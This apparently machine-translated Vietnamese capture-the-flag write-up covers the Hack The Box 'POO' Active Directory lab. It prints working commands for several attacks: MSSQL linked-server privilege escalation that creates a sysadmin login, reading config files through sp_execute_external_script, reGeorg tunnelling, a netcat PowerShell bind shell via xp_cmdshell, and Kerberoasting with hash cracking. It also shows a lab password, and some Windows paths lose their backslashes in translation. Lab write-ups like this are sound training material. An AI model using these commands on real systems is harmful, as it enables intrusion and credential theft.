Trong bài viết này, chúng tôi sẽ phân tích việc đi qua không chỉ một chiếc máy mà cả một phòng thí nghiệm nhỏ từ trang web
Như đã nêu trong phần mô tả, POO được thiết kế để kiểm tra kỹ năng ở tất cả các giai đoạn tấn công trong môi trường Active Directory nhỏ. Mục tiêu là xâm phạm một máy chủ có sẵn, leo thang đặc quyền và cuối cùng là xâm phạm toàn bộ miền bằng cách thu thập 5 cờ trong quá trình này.
Kết nối với phòng thí nghiệm thông qua VPN. Bạn không nên kết nối từ máy tính đang hoạt động hoặc từ máy chủ lưu trữ dữ liệu quan trọng đối với bạn, khi bạn truy cập mạng riêng với những người biết điều gì đó về bảo mật thông tin 🙂
thông tin tổ chức
Để bạn có thể tìm hiểu về các bài viết mới, phần mềm và các thông tin khác, tôi đã tạo
Tất cả thông tin chỉ được cung cấp cho mục đích giáo dục. Tác giả của tài liệu này không chịu trách nhiệm về bất kỳ thiệt hại nào gây ra cho bất kỳ ai do sử dụng kiến thức và phương pháp thu được từ việc nghiên cứu tài liệu này.
Giới thiệu
Trò chơi kết thúc này bao gồm hai máy và có 5 lá cờ.
Mô tả và địa chỉ của máy chủ có sẵn cũng được đưa ra.
Hãy bắt đầu nào!
cờ trinh sát
Máy này có địa chỉ IP là 10.13.38.11 mà tôi thêm vào /etc/hosts.
10.13.38.11 poo.htb
Bước đầu tiên là quét các cổng đang mở. Vì mất nhiều thời gian để quét tất cả các cổng bằng nmap, trước tiên tôi sẽ thực hiện với masscan. Chúng tôi quét tất cả các cổng TCP và UDP từ giao diện tun0 ở tốc độ 500pps.
sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500
Bây giờ, để có thêm thông tin chi tiết về các dịch vụ chạy trên các cổng, hãy chạy quét với tùy chọn -A.
nmap -A poo.htb -p80,1433
Như vậy, chúng ta có các dịch vụ IIS và MSSQL. Trong trường hợp này, chúng tôi sẽ tìm ra tên DNS thực của tên miền và máy tính. Trên máy chủ web, chúng tôi được chào đón bởi trang chủ IIS.
Hãy lặp lại các thư mục. Tôi sử dụng gobuster cho việc này. Trong các tham số, chúng tôi chỉ định số lượng luồng 128 (-t), URL (-u), từ điển (-w) và các tiện ích mở rộng mà chúng tôi quan tâm (-x).
gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html
Do đó, chúng tôi có xác thực HTTP cho thư mục /admin, cũng như tệp lưu trữ dịch vụ máy tính để bàn .DS_Store có sẵn. .DS_Store là các tệp lưu trữ cài đặt của người dùng cho một thư mục, chẳng hạn như danh sách các tệp, vị trí biểu tượng, hình nền đã chọn. Một tệp như vậy có thể nằm trong thư mục máy chủ web của các nhà phát triển web. Vì vậy, chúng tôi nhận được thông tin về nội dung của thư mục. Đối với điều này, bạn có thể sử dụng
python3 dsstore_crawler.py -i http://poo.htb/
Chúng tôi nhận được nội dung của thư mục. Điều thú vị nhất ở đây là thư mục /dev, từ đó chúng ta có thể thấy các tệp nguồn và tệp db trong hai nhánh. Nhưng chúng tôi có thể sử dụng 6 ký tự đầu tiên của tên tệp và thư mục nếu dịch vụ dễ bị tấn công bởi IIS ShortName. Bạn có thể kiểm tra lỗ hổng này bằng cách sử dụng
Và chúng tôi tìm thấy một tệp văn bản bắt đầu bằng "poo_co". Không biết phải làm gì tiếp theo, tôi chỉ chọn từ từ điển danh bạ tất cả các từ bắt đầu bằng "co".
cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt
Và lặp lại với wfuzz.
wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404
Và tìm đúng từ! Chúng tôi xem tệp này, lưu thông tin đăng nhập (xét theo tham số DBNAME, chúng đến từ MSSQL).
Chúng tôi bàn giao lá cờ, và chúng tôi tiến lên 20%.
hử cờ
Chúng tôi kết nối với MSSQL, tôi sử dụng DBeaver.
Chúng tôi không tìm thấy bất kỳ điều gì thú vị trong cơ sở dữ liệu này, hãy tạo một Trình soạn thảo SQL và kiểm tra xem người dùng là gì.
SELECT name FROM master..syslogins;
Chúng tôi có hai người dùng. Hãy kiểm tra các đặc quyền của chúng tôi.
SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');
Vì vậy, không có đặc quyền. Hãy xem các máy chủ được liên kết, tôi đã viết chi tiết về kỹ thuật này
SELECT * FROM master..sysservers;
Vì vậy, chúng tôi tìm thấy một Máy chủ SQL khác. Hãy kiểm tra việc thực thi các lệnh trên máy chủ này bằng openquery().
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');
Và thậm chí chúng ta có thể xây dựng một cây truy vấn.
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');
Thực tế là khi chúng tôi đưa ra yêu cầu tới một máy chủ được liên kết, yêu cầu đó sẽ được thực hiện trong ngữ cảnh của người dùng khác! Hãy xem ngữ cảnh người dùng mà chúng ta đang chạy trên máy chủ được liên kết.
SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');
Và bây giờ hãy xem yêu cầu từ máy chủ được liên kết đến máy chủ của chúng tôi được thực hiện trong bối cảnh nào!
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');
Do đó, bối cảnh DBO phải có tất cả các đặc quyền. Hãy kiểm tra các đặc quyền trong trường hợp có yêu cầu từ máy chủ được liên kết.
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');
Như bạn có thể thấy, chúng tôi có tất cả các đặc quyền! Hãy tạo quản trị viên của chúng tôi như thế này. Nhưng họ không cho phép chúng thông qua truy vấn mở, hãy thực hiện thông qua EXECUTE AT.
EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
Và bây giờ chúng tôi kết nối với thông tin đăng nhập của người dùng mới, quan sát cơ sở dữ liệu cờ mới.
Chúng tôi bàn giao lá cờ này và đi xa hơn.
Cờ lùi
Hãy lấy shell bằng MSSQL, tôi đang sử dụng mssqlclient từ gói imppacket.
mssqlclient.py ralf:[email protected] -db POO_PUBLIC
Chúng tôi cần lấy mật khẩu và điều đầu tiên chúng tôi gặp phải là trang web. Vì vậy, chúng ta cần một cấu hình máy chủ web (không thể ném shell tiện lợi, có vẻ như tường lửa đang hoạt động).
Nhưng quyền truy cập bị từ chối. Mặc dù chúng tôi có thể đọc tệp từ MSSQL, nhưng chúng tôi chỉ cần biết ngôn ngữ lập trình nào được cấu hình. Và trong thư mục MSSQL, chúng tôi phát hiện ra rằng có Python.
Sau đó, không có vấn đề gì để đọc tệp web.config.
EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"
Với thông tin đăng nhập được tìm thấy, hãy truy cập/quản trị viên và chọn cờ.
lá cờ chỗ đứng
Trên thực tế, có một số bất tiện khi sử dụng tường lửa, nhưng xem qua cài đặt mạng, chúng tôi nhận thấy rằng giao thức IPv6 cũng được sử dụng!
Thêm địa chỉ này vào /etc/hosts.
dead:babe::1001 poo6.htb
Hãy quét lại máy chủ, nhưng lần này là qua IPv6.
Và dịch vụ WinRM khả dụng qua IPv6. Hãy kết nối với thông tin đăng nhập được tìm thấy.
Có một lá cờ trên máy tính để bàn, bàn giao nó.
cờ P00ned
Sau khi trinh sát trên máy chủ với
setspn.exe -T intranet.poo -Q */*
Hãy thực thi lệnh thông qua MSSQL.
Bằng cách này, chúng tôi nhận được SPN của người dùng p00_hr và p00_adm, có nghĩa là họ dễ bị tấn công như Kerberoasting. Nói tóm lại, chúng ta có thể lấy mã băm mật khẩu của họ.
Trước tiên, bạn cần có một trình bao ổn định thay mặt cho người dùng MSSQL. Nhưng vì chúng tôi bị giới hạn quyền truy cập nên chúng tôi chỉ có kết nối với máy chủ thông qua cổng 80 và 1433. Nhưng có thể tạo đường hầm cho lưu lượng truy cập qua cổng 80! Đối với điều này, chúng tôi sẽ sử dụng
Nhưng khi chúng tôi cố gắng truy cập nó, chúng tôi gặp lỗi 404. Điều này có nghĩa là các tệp *.aspx không được thực thi. Để chạy các tệp có các phần mở rộng này, hãy cài đặt ASP.NET 4.5 như sau.
dism /online /enable-feature /all /featurename:IIS-ASPNET45
Và bây giờ, khi truy cập vào tunnel.aspx, chúng tôi nhận được câu trả lời rằng mọi thứ đã sẵn sàng hoạt động.
Hãy bắt đầu phần ứng dụng khách, phần này sẽ chuyển tiếp lưu lượng truy cập. Chúng tôi sẽ chuyển tiếp tất cả lưu lượng truy cập từ cổng 5432 đến máy chủ.
python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx
Và chúng tôi sử dụng chuỗi proxy để gửi lưu lượng truy cập của bất kỳ ứng dụng nào thông qua proxy của chúng tôi. Hãy thêm proxy này vào tệp cấu hình /etc/proxychains.conf.
Bây giờ hãy tải chương trình lên máy chủ
Bây giờ, thông qua MSSQL, chúng tôi khởi chạy trình nghe.
xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321
Và chúng tôi kết nối thông qua proxy của chúng tôi.
proxychains rlwrap nc poo.htb 4321
Và hãy lấy các giá trị băm.
. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt
Tiếp theo, bạn cần lặp lại các giá trị băm này. Vì rockyou không có từ điển dữ liệu mật khẩu nên tôi đã sử dụng TẤT CẢ từ điển mật khẩu được cung cấp trong Seclists. Để liệt kê, chúng tôi sử dụng hashcat.
hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force
Và chúng tôi tìm thấy cả hai mật khẩu, mật khẩu đầu tiên trong từ điển dutch_passwordlist.txt và mật khẩu thứ hai trong Keyboard-Combinations.txt.
Và vì vậy chúng tôi có ba người dùng, chúng tôi chuyển đến bộ điều khiển miền. Hãy tìm ra địa chỉ của anh ấy trước.
Tuyệt vời, chúng ta đã học được địa chỉ IP của bộ điều khiển miền. Hãy tìm hiểu tất cả người dùng của miền, cũng như ai trong số họ là quản trị viên. Để tải xuống tập lệnh lấy thông tin PowerView.ps1. Sau đó, chúng tôi sẽ kết nối bằng evil-winrm, chỉ định thư mục có tập lệnh trong tham số -s. Và sau đó chỉ cần tải tập lệnh PowerView.
Bây giờ chúng tôi có quyền truy cập vào tất cả các chức năng của nó. Người dùng p00_adm trông giống như một người dùng đặc quyền, vì vậy chúng tôi sẽ làm việc trong ngữ cảnh của nó. Hãy tạo một đối tượng PSCredential cho người dùng này.
$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass
Giờ đây, tất cả các lệnh Powershell mà chúng tôi chỉ định Tín dụng sẽ được thực thi thay mặt cho p00_adm. Hãy hiển thị danh sách người dùng và thuộc tính AdminCount.
Get-NetUser -DomainController dc -Credential $Creds | select name,admincount
Và vì vậy, người dùng của chúng tôi thực sự có đặc quyền. Hãy xem anh ấy thuộc nhóm nào.
Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds
Cuối cùng, chúng tôi xác nhận rằng người dùng là quản trị viên miền. Điều này cho phép nó có quyền đăng nhập từ xa vào bộ điều khiển miền. Hãy thử đăng nhập bằng WinRM bằng đường hầm của chúng tôi. Tôi đã bối rối trước các lỗi do reGeorg đưa ra khi sử dụng evil-winrm.
Sau đó, chúng tôi sử dụng một cái khác, dễ dàng hơn,
Chúng tôi cố gắng kết nối, và chúng tôi đang ở trong hệ thống.
Nhưng không có cờ. Sau đó nhìn vào người dùng và kiểm tra máy tính để bàn.
Tại mr3ks, chúng tôi tìm thấy lá cờ và phòng thí nghiệm đã hoàn thành 100%.
Đó là tất cả. Dưới dạng phản hồi, hãy bình luận xem bạn có học được điều gì mới từ bài viết này hay không và liệu nó có hữu ích với bạn hay không.
Bạn có thể tham gia với chúng tôi tại
Nguồn: www.habr.com